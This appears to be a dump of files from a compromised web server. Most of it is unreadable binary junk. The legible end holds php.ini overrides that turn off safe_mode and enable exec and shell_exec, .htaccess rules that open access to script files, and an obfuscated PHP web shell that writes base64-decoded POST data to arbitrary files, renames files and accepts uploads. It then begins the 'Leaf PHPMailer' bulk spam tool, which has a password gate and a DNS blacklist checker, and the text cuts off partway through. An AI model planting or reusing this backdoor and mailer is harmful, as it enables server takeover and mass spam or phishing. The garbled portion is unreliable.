շW:HDm7㏎`f&!g)=FZֽn+\Qr'0{q ue[CP-/1	ab&E*^P 4$v%`oD|DS+0iMMrƋ	t~,l17ŷe|#͕`{]+XKP7*;w0 ͛,ƍV7~f@Azfb|)`,
F+Y!w~tM@]8x8,}1?ҫ+
Jt LYPH'AmasQKB9tqgfzkrwbamׁd$&p5M]$ıa4Y5"y(ԯ-YJOX/*:tY(Psxrߤ@ߖV3Z	|uViJAzR*(p7@u5m#\:TYy!8sbjrexaounCߡ׷MY
d2/\CsbjrexaounXsG9+`O~(\Trf1hl0TIWḐ7_@CdG`0
F]КSRs7fyfr/et(nֽp@lz!
N^\yMNƷ
"Ol9ʈk2bb,q^c@LGHZMm,qhuhYNmb!眃
y=~{;hk)p	M.OZ?2pL4SpuDeHpKr EC7=|ch#7)@.s[lwX/FxԜſ3㋋btPث׏Rh
Yʑ h˂$'OdAY
gUJpU ?vGG}hA4As'Xn]C[Yqgfzkrwbam,9qgfzkrwbamyjCD2brV2;^|EQV?Hp:	M $%?ߣ芫qgfzkrwbam-S;0{fH5j] !(ۅQ=8Ӟƍ\4)BY$-JLʏD0h]WĴf	-gqrf|8OnF⺼B"?vAѕ0nJ5AeɀqS*xכ2+WO pMօ^Gx1(RCaZ ÂdZElvQ$3ӻ+E0Џ**8wXTTЧK]ݿϛ#:ǥfahԂJsb|AM5Aon^P%}6_j"BX&cWgqDLrӽ	GϴF=]4Ӗt!ZHNja[kU|5U$kA(sE f3SSf`fLE]QVq˻	Osbjrexaounod_ګ^`qgfzkrwbam'&bǃ-"OIKoW`V'i_g
mxh7JG}#0Mznr|;Uoֆpqgfzkrwbam3m)98=
d'do}6#|wQ^p㉅GlR[9
@sbjrexaoun-
v3,sE]´$5h`sbjrexaounHs;hqm~Œ[fૻQ3Y߰},q n8c?i`VL1*t2dmRORsbjrexaouni߭qgfzkrwbam(+tvY\"Q6VEYF\#ty
Pַd
Ӑ._"Ip2@vIfnL4c*LTZ^ter,~WC&pjذ[CMNxΫN~_~v=ڣn}HHϭęh
t"Y16@ݧ5NJkd]SEsbjrexaoun_ oqrmǄG	Q_ۢ^f~{\PsbjrexaounPCG\~@ceߡ&@XGn;0E;X+!?T8XF~qgfzkrwbamE=*޷,i~,;?ğ
Z]فEZ:	V:K?ϱJЌ$~ Uq`	$pa߁t%y_U_Sa\OW_s V.[]aOt{X?6h\Q*K@sOxSn&gd'`恪Q`r	ڴPs@ܱ|з )HLʳ#io#.fe7-fsbjrexaoun'Jk:lޑZ6PgQg$;tLmvHXмc%If~]
}r\Gq}۩垓7?e}%Apd_| DbHHճYn	\FFҲqgfzkrwbam|
k͗hׄDaß?
k2I?,vEa$u,)5_P^_hA{p"Ic${
bkTJH
޳?jqk36&JnQ
#䰂쮿ԝ25/x8ɱ4vֆ/{E895HcVXHШd
%eL	`,sbjrexaoun!X|E^e3N	M8t[m?*bAPlU|aZ~rE/ZtWj"؉H S"~v2O53/T9PPޟNo'UݓB^yݷt1s	̢Ĺ/	nɑ4qgfzkrwbam}0i(mgBw ^WJKMn0ɰ}N.VE0׆4
OU:ȲS:L~%mY	ϟ׏^{	^̶4;ɿqgfzkrwbam_g!#[߼+Oˁ/+Ӵ]ҏ1ޫAbr'_c 7RtSqgfzkrwbamd7En2!mcxNg[|4.uQg,4+LA69sA$kԺarmot^3;5.d(6|5ɁAU2՗ɘ@RqgfzkrwbamEHbwڑУ`H[eV6k_spяś~ۯqgfzkrwbamC-y~b	Vy^;nD6Tum@sbjrexaounO(5@#9/yз?K'Q"?qgfzkrwbamC3"0V`jY4dUnsbjrexaoun%fw](s.BSrЬڤw%zE,2au(L@?p~pwqgfzkrwbamd)Awr/~Ee"T41OM%hhJn%JE
`
lUbhJE JuLNVc;Uqgfzkrwbam˅YN\akng|-~G%~y| pF]sbjrexaoun/V5VD|zkNXa#S$Z?ZAo#, E6;\cSA%T1J\.:~X^,jeW	"r+yX9sb$c!cY!EWrMt`d_/\lɹ-e7uAs5{OȻ=kf?hRc%nIPy4
a;u:䬥Uv$qgfzkrwbameҗA9
.\;_ڈ]$\O@-޹_sbjrexaoun_U(`Q;msʘf#58E
hnhWNiz-7y_Na-ҳ
G\w07J;}:o_zBx~Whb¹Nd fu[G!JhDv	(
'֛sV{ٵ'Eb1uˢJї29oS7Dzu߲9M3ϴ;Psbjrexaounָ:^YT@򱉋\TM`Z˕nSܜJT*p8LWypXPQLNg0h_ֺ-R nN5Fh;nkC=wԠŔlezV0$sbjrexaounzǯ^[vܧ/R9ⷹJk$sbjrexaounkMx~kψXH'M(#pnmLF(c	s1\ΦE$o؝ۨX@.Ϻd$Ptٷ}sbjrexaounvAf{|갤:PBEGkɷ:CŢT4@Sԯ#VJW"	PdؠF%;.A怜cVn0X=uJ4|$$КۏsH/K.Gɐ495U^}pzi Re2oDQbr
wjB$Do"v%.d׿~4U!Ѕ3R~X=d&+zd\P,.Z"Q;F$gVjY
[k,8B
.2Q
nŪ5?haJVe7Ixto`b;|Ïzq|-;h)e4C$lTebZ6vtO:\)/;}( A!z?sbjrexaounh7${y***?.8 ANr\e7:Wz L?r8`u-hpi^0my_ NK$hwu\яJ ,6Yǲ FژilWs}Ƚz|
»G0y
?(RXiӛn㟊{:!
{;퍘󵞈0Ab]??@2;3JaYhaGHCX2?@v:JNR&KSD3vz&0Aٺhf .i++w9$w/w6a Zͷ%Cu}
|!s(t)\/x'ˏlW_@hwsbjrexaoung{89eHڏ"8y=JqgfzkrwbamO\t0$[G7	m=CH
5WAMBqGcd3]m|\hxeQKPGC
RtEK sbjrexaounƆCBi*OhDf7Rsbjrexaounc6ߊ]m6u
& |LhJSgn2V	o8yg7o.{ǩI,iZ{ݞżߡuAhԲ,E{us/wm[|ڳqG!VHE(4M:
l̥p"2w="޽X4`9c-pHٔbGl~}563AS-^@`
St[4?g|h0!3٘UR@3kHn::42BOT=pz$=i67rW+d"Lr2Ͳ	GbSccwbۊD|˗fkwh[!Klqgfzkrwbamb/iq͑0O'xP*I-[RP2!jcdӨV8f"
d1JچQ⮎yum]WM_ՈI G!tFb.\\똿LKFNK%w蹪=̵
(vF̕N[튈b]X85LLYLA3.~Ɔma}[ޔLmM1&X63pm~.ܗofjb[f[QeFÔR`pX?){RdO,^0XqE/}/
HFݔJ5hwYR|,&=Qb[mϰnU,eQcRLB_E8q3wϲhT1y=Fn-lV׵ᐡa=-_G;勀-kЪ!G\qgfzkrwbam3OeGTש%(c̓~1rqgfzkrwbamubQYq& CEH5.64Z-zy`4Ya+JO)`5n3 sbjrexaoun}1iyY~LiA*Csbjrexaoun.HYge};Wc?RSKɥbxt5А}YoUH&4M	vdTZxHjas?i\=S}{P4`ԚO4it@3YhY'z/A؛WZ6_[$X^_9`u7l#;Rǵ¤PycqgfzkrwbamAssµ{
{Z 5ͦZB3)̔CM?EO.k(Dw!_ 2fRޚ|$ v%1\?UK=(*HqgfzkrwbamxF%j1-ח[crƺ܁d~w3bsbjrexaoun9f is3_+qS9pavx\P5'=bLb,&,}gaJ-3D[N2c̽e^&jCt䟈3c!;& sA[$pN{dGmJ?`yCզu.)/Zh~3Nb*Szޝ`5k1W1pWSM@@,4
	uH9̖reJ~ByՋcǞ^@ʝ|"0ҬTТЛ9鴆pgUeۄOꆢqgfzkrwbam@$/?q}wdDӖ0u.sFZ@PVMV88ԓN.ϼzݥ׺ʿ9`h-,$gJxx}CG`zAeָ_ڀrCV9v`˼Y13҅D`3Rtd϶#_kTH&loߒ@\\?=/rls.ÐB\˾e@7_Ί'aSBi(wr~8cו.i.6j3 uejѽ\Ldgz:}̌|mdmR,l0b(ksK"z Q]Ɔ\nlܕy8SǇ&~AǊĂxA8[޻Lq *fɞeV=pA,*=ť~xX~v!qgfzkrwbamșQucZm([J~rTPZTh7-H6gn2j`_y=ZcOݶh
1BNykC"o#EZMvxk]zn}!⛌[F?%u9l=-j6P`^y)$sbjrexaoun&El4})(OVqgfzkrwbam^s#IÁmBS?DΩB/vXݶ\
_,N+\c.^ ܌N2F]ue_kuM)K)AH]B/]F5uULŋ]h~ƒn9.8| GgK$@j	`b~"sbjrexaoun/hb"Z`9&  zk1spy=VN,3{cqgfzkrwbamn]mqp];y򿟈I圚&lEA]sbjrexaoun	{hN.zp(-c*qX.B\DPu3:JU$*lwn_LͰM@cvd={T[&*E?~ ) #YjA~0ͅsbjrexaoun(
o+mh05/f6%Ar-]1|"X9+틇`*ūc\04"϶Φ\rJrQR_@(6y(ˏ1m(V[_Liqgfzkrwbam\sbjrexaounFfk
䛛NZ$"Y\
e}`B)LV99uϬT6c s]k4Y
傞Πt.
&'^29&m꿌Mw@k	i3Cz џWNi_N Ov6v%$0^]Y$$-TbZ7&' 
&DɃ;D/g?6ʙd}n/׷.Q;W#D5wlxV).(/A8Bܝ}
iEKch*	fS2ƕۙ~_wPv:a~"~JK4-j~rT-)2#r,\vh"uۛBqSpXhq!oCC@_bבj2;BKWbsbjrexaountF΍9='Mh.Zz6+"
p;3	*)KΕsr"TxwoɭѼ~;?hieTq̴VKdhJ0ej?bfTD]WB'w9@J.h?d-}qgfzkrwbamVAA|2ؽG|C-egGPZfh罆ٳs:K=qUZ~ XUWS74* )/Ű
6rsbjrexaounR=g$*Ʊ|SZN(ALJP{^}|J&/_BPi/)/#VUnX+
o`v GN_OR{Tx`WB, \Rz%"'^oO
(Cw+tȮY1x|GȥZ)tut0
gS[UK
$=IfǓqQ0M
WAV/pYlE{dm|;)c~p[4 |,yG" Y&~!VOC
LXx 89byl˖Q2_i蠽~Y8 pfcA&!aN%"v.VEȁ7"qX#=U3.eڸZDh{5+f.91!yk}NĝX輸h#)*EDw{Inqjv֠AjsOR_(r-qgfzkrwbam/tVƄg`(mez~|IPvVF[*|{O
~r?3E+jS7F* tJ\ e
.{qgfzkrwbamt+ڲ#$-wݓS!nyh|@ %cT̀߭)na@M
~јQ(TQӜꝮLH/RJg5r6IW ޭgFz`|]6:^н"Bj4zEǱ0̨ҾA=I@ҭG
C;?)`If=b9k¢&|;F0	ؘawb	*LQOQ#pȯ=GBpG7d.!8,۹?Hov@tZLqgfzkrwbamݍx=_"U	"kL+nΜb҇NSv9i)dSrV+NOxBcDMWj%(eiB[Fy|-M^GaC^	$lVuqgfzkrwbamgǯy c-˗ ,i@Sfi6XA2~JD0f縷1ǩ}J4 FX&3qgfzkrwbam_{jaܧe'ysD
7)7!
,fCS{!. ?URz6up5ҕ8C(Οhsbjrexaounw6Xp4AzNAkZVG@ߨ-ymiFY}zrxtS˧zLyr9p5DrP':ݶΆ^
KJmߊ6Q(QBFi;
#U²mؠw.,tY{4g{ڕ5zq'|6yrjs}(̞'M5cFe0dRd 9SvYbF'JqgfzkrwbamzQ*:D\{fdOOS2١%Iqgfzkrwbamc5UՖxd)P@1gn?X-gHCA%GBGTg];90h0~F{P^
a|FOOUL6
4¯PkEӼ[!n΅5BeVO|2*Yfʯ0:G 70Xſ%0L$%`V(b_;4cHÉa. epbCl`δoBnAqܧ}HQ	sZ{{s81?=]v{ e(3WfXb*RI}ONZEx_7ծa)ҭ;.{]L,C3~ug!%wӥsbjrexaoun&Iī_K-G؎-f퓆jF v[5yKDBV^$:z罠BVqgfzkrwbamCSRsPݧ΅*W:S@-S!`0=}lX;(ӫful_!j O }oOFUլ7{Sf](}'V$̝i!E]sqh5-m;IXIoOwNn%J.[{{$Erwqgfzkrwbam!sbjrexaoun}Smڬǹұ-7G ay"z;/0^37BM%sWQ4/2uE{9v~:͕
4*dAB#&|$8o\t&
bgn. yXEpL8?
t{ȑ*t7G:`r.!t:I*
糐Loqgfzkrwbam^VȄђ/=gSch/T$xMmW0t5K,hUbIb_AGDtW8Qajtqgfzkrwbam7ɌzH?zr9PV便ǭ}cjڬ5-h0NVg V5S[P%'70,(t,# ҒB}qA q
mՏlce= θVd;Z~: &*b(W`׸0K^OH F'K43V٧!rR NC&yײ';թpMMAkz
&ziߏF,S3\roB񦖿?Yٟ+c!m`.pS){"[Q=scR?/\6',&X6ZHI@Pbz#u?T}p|5@qr(mg7zcT
6$*({փǥ(nj@_1ΎP*#tTx!z)Kqgfzkrwbamt
(*mk4هɘ{A7^f/UhŰ-yqgfzkrwbamw⢬\kƃZ]7sbjrexaounoϯv]A9qvL
ƚPݲV=ki}[W&yqiosbjrexaounֲ4Dj{%eM#qQ# hѶ\{לlTJiע  :oosɻ"KQѵڶO/ImzN)]ڨqgfzkrwbam0n¥qgfzkrwbamRFgdsbjrexaounRjv}|b?n群;EqgfzkrwbamUS;`4rHwu( 9f	97?@&^4o	SY(RV`4rF4z:*RdMZ.;QsbjrexaounÚ0\Hc8%SF2]W:~%ݻFa9T!Hs/$3A.Vϫ\}}e'}N|+Aߙ't_ZdXsbjrexaounsbjrexaoun⫔Ǉpo/*O4o9߭#V÷ˑ|?*L~ a2R2s]bEPqSD.}xfW7qgfzkrwbamhSf2AgU.fUW::B{w5#-gUeK%l[jBGjРۊ	x}:Iקp@y'c).i|ia*ι?x,[7zK#	mLrOy%WbfLUn$'a伷h*qN0r`p}EH8b4sbjrexaounl%E(Qs:&ZԏجwoܷE"X=%1u| T%+u;*S;?sbjrexaounB!9! /c.Q/ gE~qgfzkrwbam:ƺ%0p҆	?222o:8X)ٵH(!&",f}^D&Kv!U*AD.,յ]+5+UfPJ~t*lGӞ!oVcp+LW/#_kjlh^;Iq۰LzQ^E#@jN ÛL_V(ſ5Bо.ugO7SNĳApڲdWC8*rCݗ	I\1:fOZ@(̦qa\qgfzkrwbamr?if [bDP^rQ5h,Z&2A4ܵv$!\LL!)C	 iݺ?&ehr*@$*=R[[Bz'RD;Z',b($2&2E6aXŞˠqnåachf(HFH]оR4Ceo:Tpm*o&Ȃ=т3	Of̌qgfzkrwbam|U߹$H&#~Xަ;e'
pz]
K5qgfzkrwbam|.륩Dqgfzkrwbam//ȏASqgfzkrwbamX/úa]M@)xQ:Z/$VBeWiy7'vn-H{̚ʛmܘ'}uѡfi=t㋟93*X,nѡqӀ~eqgfzkrwbam_m5t$η^Z~0 2U(qcO=0C4GJ)z2"D"3Wrn
7ͣq
訮Ь-MI5joǕ 745@P}kV׻ \]zXg#TtKɢ'
4XoaWE'޹դP`#7''u&bEsbjrexaoun3ZB2b3*z3O]4H?LƹNCHs(KC$*|:H(#ȣ\	GX1$7!#V`v-3])g&(PLW[7pt{?Yn.1٢qgfzkrwbamUѤq9Y2,q{`|N @\Ϊ
iqgfzkrwbamCNq/S?E+Ahh*M: sbjrexaoun2hNg\8n+ VϾ睜ߜڝz\c&M/چgcej߹R\N?Lόd]$eL9$Ư }A}XpM_}EHą&鸹[l񌇊bi#I:&)oJ:))|iQh8/UVAӽ+e?\5hɌRuA ],ZǷys\d݂ٞlqgfzkrwbam,n$mv߬P(۰]ٴ:sbjrexaoune_jO(=ɝ,9 /~Zsbjrexaoun7n=pq}:⟈?QT^%O  )vڒ~7dbxx۽E
~yozL3A!I;הrOz#qR{|IRzXTc|#MZu"ٛsbjrexaounFOȍ@6i#K@dY;ݿF_Xl|sbjrexaounmTo|0	ur%yx`o%VAC	;A:S/]`ggPh[ģb93`m-||64o`"Q앶nssbjrexaounF0]=ta?k|fjUs)i1w2w)Gyt%Mcd`HWtD[C?qgfzkrwbam#]p!Tqgfzkrwbam8: gx Vǲ?6t%]p8(@jp5F%1`A6zaS}1n.cC
@O Z?qi%xɏ[\X3,S9A_]q{oT-x#DR	Yu|͈syMGܜ0oٶlq o+[%eǊ&l|4[S
ש_H8'qgfzkrwbamoDVXC銍#[	q꽃NݱA=^,Ic!b&k*2?_5qgfzkrwbamY ;!Ur&Z׈oŮw hk3_H&2UbG{W쏕(51Ki
o/rr7Y"IKiFG	N/1m5) :D.  %{`;qR\ܸ	~h
cSB89l57kk(O|~y8muZyU~xX̟ۜY;Gj&ɽ?+-LZOHLqgfzkrwbam~1Li?|/`}
in\ʁ5? ~qIAsbjrexaounosLZiem,y)yGsbjrexaoun7 WMAтUO(&obkW[g繤θyA嫶OF,(ߥRđn:xxZ8DQ{Ki#+rIkmDc:2{r8k[a)?L܅"Xi2M䗂X˴`Sb%ɏ
=!DGHsbjrexaounV9{ȌD(fҡEuqgfzkrwbam֦,/ӉGOKNn[Q'Spw'}pvi&CԛmDܨ-ˈ7G-O:7maWC36T3nf*"wǈjksbjrexaoun5A.5;v)vܯXmCX9r
^jls,Tg8k;M`dI )ZXF⾫tP=ox`l39g0RdOT rj*P@zk@E2ÀSlyid!@t)4JXG匟,:?,+w1^J!҄寨++0&sK\Ş/]&Gf-rSRSy} s_qgfzkrwbamNAX;{?Q$Yi?243Y&}Y!b`O7-sbjrexaoun`zkXjeDliq^hC0N텗l2
JxUy-r1e`dax947Hi=i%_kVko:25=1qgfzkrwbamo0!\ka7qgfzkrwbam9c ߽=#Qs;*'2"R[v9jSo#'NFk'Q|ظ} 9X X3ECQNE}-­v/Qn519*ғtsbjrexaountG
q+*
D,p9~k$Wyvez"z8`Į|wͱwVF	Uȇ}|՝V(ij=wKeT__Wq|6U~} 
L_GB0]k~wL7~xGZ4{mUYձi755FT 5
JTrWZ=ofpߣIxYn5 7ʾ`zAȢsbjrexaounV-Iqgfzkrwbamt49#6䳲qgfzkrwbamDEFr~N)?㘤v?_R`f#Z 1G%yt w4~bQ[Y}|`wGwvȒ5FwRP `M֬fm&0,4¬}/NH3Ưƭk\1Z
J)RE@NS
EۮXTedn~td7=W0+ZsQX.?6uJDZ'Y[GsbjrexaounzsrYsf`awkzXo`XsbjrexaouniCao(Q&Hb7%QCaϾ:ltuAHQlP|	HW%@por._Q[sbjrexaoun|?sbjrexaoun(9O"L'YlA\b~6aR퐸Y8(q6Ma1;RjTz19K|nIv*hSc
}5nY-M6;RȚZoܰ`^]fN2
7i:VjeռJ?0:㓔IAQ޾ sbjrexaounxSGxe	u*3&F.OT/e BKjCzaojHmk˟pݧE.3sbjrexaounܸO͌EaI,#c϶)㻬@F^AHbp0OA~`˸3h+}&)QEqËv,LqgfzkrwbamLKuxr}*cA&¯2ш9_3v&~xcY.CUscuw8&Z~HC` 5$Xœc
;)^e[v
S$uDCe
1!_!c9+MVy(%qgfzkrwbamOEeY/ŦTvWVu^G&]sUi{}Jݾ:GAj9~hi82@Dm|8+{#+"zDDa^D=M3f-lSFEln*7erl`4hl]ƠlH?d?ozqgfzkrwbamS[Asbjrexaoun1z*%?#b xOR^VeO΅ٷ72^GW]e0⁰vWYY~O-"4ĩΝx}0hwJ!Lf@ݾӃGb;G]: wV!rɗP$_6ɺ|4^mGO@OVep{ww&{Q}xٸ
}6JCEwr8iE/fG6Byg+W8`W_4}yc2!A TucK?qYxK"IVBɺӁ,XUU@&]A(
T؎YX*e(L	@*"w)Su*萳鍦NӨVu~X=%)7e}1zQSR!mOqgfzkrwbamV
 'H_3]%w;%ĺ%!Ȼk韴(]5#;ƍPg/SuG'g^Zj; TYfzup*Wjxqgfzkrwbam.L^*-۫jqgfzkrwbamjҳri}IEԔˤͪ)|iWb3`q/ җ@	.qgfzkrwbam&5믰^_\H;sbjrexaounsxu}C+#-=ǾjJI:P;t6Jq8` 8jeimōᜋrINA8|͝
_
n*͙ߢ񀯤Ϲ!0]Uh0;[Y{wb;ڽ.}) @*r7 k0k2͖J7%-q?WAA"&Ja".['&G ܵ1tmq/f'#+F`|e|q@`zx&ם!	sbjrexaounV'팮۩kQʚqgfzkrwbam l-#\dy4كtnCʏ, v0On!wpr(O68ؾFg}ր|}TnPrgpsbjrexaoun7qBJ~)^LVq8TDX?+KbI*qgfzkrwbamkנP
4iŘ~4ֈ`f+^
V_P|HU*TvMoE2 KLkAi3M-&`/qJb0g+\Z)pXz	ٰ?kLIOy?cCh64U0䝰b5½=a蘾8lQ'j0=K;FuF#u-ݷR$˸~sbjrexaoun=b\Z\	zl),dUdg_b%68M\:I;GN՜N/^R6.RN=(E *(@%=g y~|1IXcVZ\28 bU͎᧳"h5
C/MæEGqJX^ɿ
&2,qqgfzkrwbam(򃨓sbjrexaounft4s*+˹sbjrexaoun|׾fȔiMJ5K+PG!`ttgt}[VO[Lmoꈍ# &+2ϙ)0i^Ny=}(ќoma\{1omTE} ^lgsbjrexaounJNm+Ua)
~Ǫ*DS^- G+TddlEqطbZhoG	krja=Wf b
g1䤌sbjrexaoun֡ꬢ{{`\dT{e_t°v3$BW?/N
t4Ya#d	#`7&с!'jdE_wvka5.oQըXsbjrexaoun{\#$e$OԝgʕNBjP+a|Ac" yӒ9[ lӘIknߢTĮlMNŀ+9fć=1Rgق{gNv?p'JGBTF"#Z2aN)[ͭz'2	`u%w
8۵@x	l%S(pZvj*̚2D"!" 	*С:1c_j+~-,6X'}&#o2N.߄r4)ȗJ&I#6!z0ga?pP%is9kj
|}s2 ť3SlNX`SK0BG006vA{]j'm|l v
 "pZC/Uq0{=&ĢmXnu^'&o{: ZKgk;4(Bek2ř*ɘhs
{(#bI#-|Z}I5t
5g\QYsˋp^pRl:B0hc3WEٕ)\KEWI롕 
xhB]wP+͆Wa||k~nqgfzkrwbamz@\;y"gRsbjrexaounnadyשwȈ/j0MsF5`Vdft7) {c&dP\c5nStuo*:(V]Yhًu[mYWX.pvLH)D%sheE7~FZofroBl-u])0zwAA[y `XjI ,MM}L-቏c6PPO7U`
cErg'przfW^D瓁3cfD	Z=S{ܠ`\ì11`e!\;4B-(F
4=l:?F{q_-WWH0.n]BP*?֠=gf$Sz;"\i|CzsPy\ v.59C%sbjrexaoun0~5LJl1!|'E81a7
/_{hfU0oWAǪ0٣j^f?("RMgp\۷=M*/^D&/{qĒݻF
Lf\W;Up"4Y՝#HaQnTs˓/^WBXu{-|Ol%-Zsbjrexaoun?V7_QVQ.Х$e:򯅚FhqpڂJuԗ*}-Yv*.rc([PM]0kiQ(rgW%asbjrexaounVFď;

fPjIewy.{#&}`}[]|i#JxX$o*nXbs{E{C	*$sd˺ B1}/MNl/6DMJ[W3rv
!ؖ7-I4AU91AV4;{+vH1܀5OBͻ*a8e%]_eWsbjrexaounxxdjʛ pfGTQ1V\60%2甄CE'D|Ilث^oyۉGv2}sbjrexaounpbdXPY-i=3x	pC?m^OQwխE:y+^BS~rk"+"J VlBַͿ#R(tuErSxqgfzkrwbamv4 EBjzDjK O~0+گ/|f5Hڿ
09+$䝢|
?sEm4|37+ y6k1kMD\O!]#KޞC)wjbYB!Wk0ߒ9+65uzv[ԉZ0y?UCv7a/sbjrexaounu)D&eN|[
;8|qgfzkrwbamYUtQPB6~k!urgfN
I	9\UJcN	sbjrexaoun[t$#Zpm3%=Ġ7VGo1iM'{d;R"yni+sbjrexaoun}jRqe3KAu*(QhS*ȹGWPq*c@gܹc1jL&L!di$/A^	7ruRQ4.XcT(#En5Ĺ1n;]Z#Ŋ/|P5*ͯ7{`P͒^-.9^:]Kx ;tDw- BL9gOsbjrexaounGY&.f&ɽڌ9%1]Ggjdf&w7/[d/(muT}N7i}CS"Gvp
uRX9/Ab6EzTj!opXBVYNdFAIbsyˢiqn64+_P&j*̟8,7wХO'}qgfzkrwbam,bZbNL4Zl86J{/neMyjXc#+i~ݦ1ۯ=zSS2Qc$%"Sd	wη`d.ثvZ/B+P.]O+qv[ԊzE5&@
@"oGFHGZ?eG5?3BTxXUЛ W-ٱ/zdQd2 THLE/܁|7B:͜1?Ba}xV1^a%PMp0qO4us\M
CLZG[}ye6OaCi~٥#pK]BQ}{I0rPeN*3M_{vwzz$:՜3jZ2WC˄CKghmqgfzkrwbamÒjrdkP~O{`uc9](3
"uHV9ksbjrexaoun7Ɔӽ$ߩM)
m8و֬V	}m {e$q@msbjrexaounzIkdY=f[,OXPY]qgfzkrwbamb;	|0K;
S'}m+7?!WH;7l'ݑFቾŅӄw)H01i4DGTnwl6!M\5.E˔_baP%RlR6Yx*$FJysbjrexaoun4:hqgfzkrwbamOFbr:-#kIhsv.fx]m;9S{:}w.]]9Ct1$aPE6cwqI.shSM2UE
1޻MBn%4ܱ6wi2[M#~*&`V"Q~}qag-H0hBJ.vwHW-03B6#?,&kS
q}3;#	2P+o!a*	eX}Å}Usbjrexaounu[Atݦ594rK~BXs[a`9?5~țvQ"$wU2`S/XCW=F)kqgfzkrwbamTi1+ʚJoPRH׬\$UFґCw!20qgfzkrwbamЖ!gOxڑ  Z8%P,r^4ن2X? T8{g#
:G")Ke&m"ú&ɐ4ClVbl71ȎuJ',;D ⸨&Q!(
-S fzJ8"ftH[9^~l&
FiMnއN^	*i2-$?L0fS5;? c^^6ƚtȑX_nS8
p$sbjrexaoun# iCؔnD,|~mm2\D!eiJL=(* +ղJu&yY/m)F6y"ozLwœA@A}st%|{k3TP_0Pۺ?HJ1d5˞C@	uYX-bBWg mrINQZV˰	Rq',v0,3ʌZb2}\` c,$xNqgfzkrwbam+}(sbjrexaounǺbbȍYAvtpD;t1p_0Bw~5SK䑪 0!m'0-W^~ךEM"9x{sm/:l:؋odnY.ٷM1wvxJ0ҧ-bhH\קP2A֋\,Nֈsu($Hjl6Az3oM|k?.VYhh W
yX4}p4/	sJnvd~ń+ݜɠTż__qgfzkrwbamv|cv3v$8e;/kHoR; px1&U;8;qgfzkrwbamSUlf s~ fЅUl4f/:_9O~?Al6^sr@+Zqz,sbjrexaoun(z(%$ZLj*w@z
D _ߙsbjrexaounOMDd˖~-.}1/(EM?xcpXHBE\x+DV8s*8c+C&z JWnDWA*kqgfzkrwbamN緣{Z::twȲd핤`Y}O60nX'qgfzkrwbam%"m%J,u\ə.|S(DKd_Ry`b&ofrNN`bTm+CqZߋi6z;=(д?KHWHMf|\5Eo{nn_ l8yOO\M7؍sqgfzkrwbam	@8M	qϺgnJޗ	bK~x᭄#Oe;wX4Q1EV*	7vbp!
aTɔ ٜH]nF15aUJenqgfzkrwbam/`+-GTVcWs)uV1)C ]CWc1cܽNXCK3̿_=safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php

$password = "N6dYxfntV5U";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
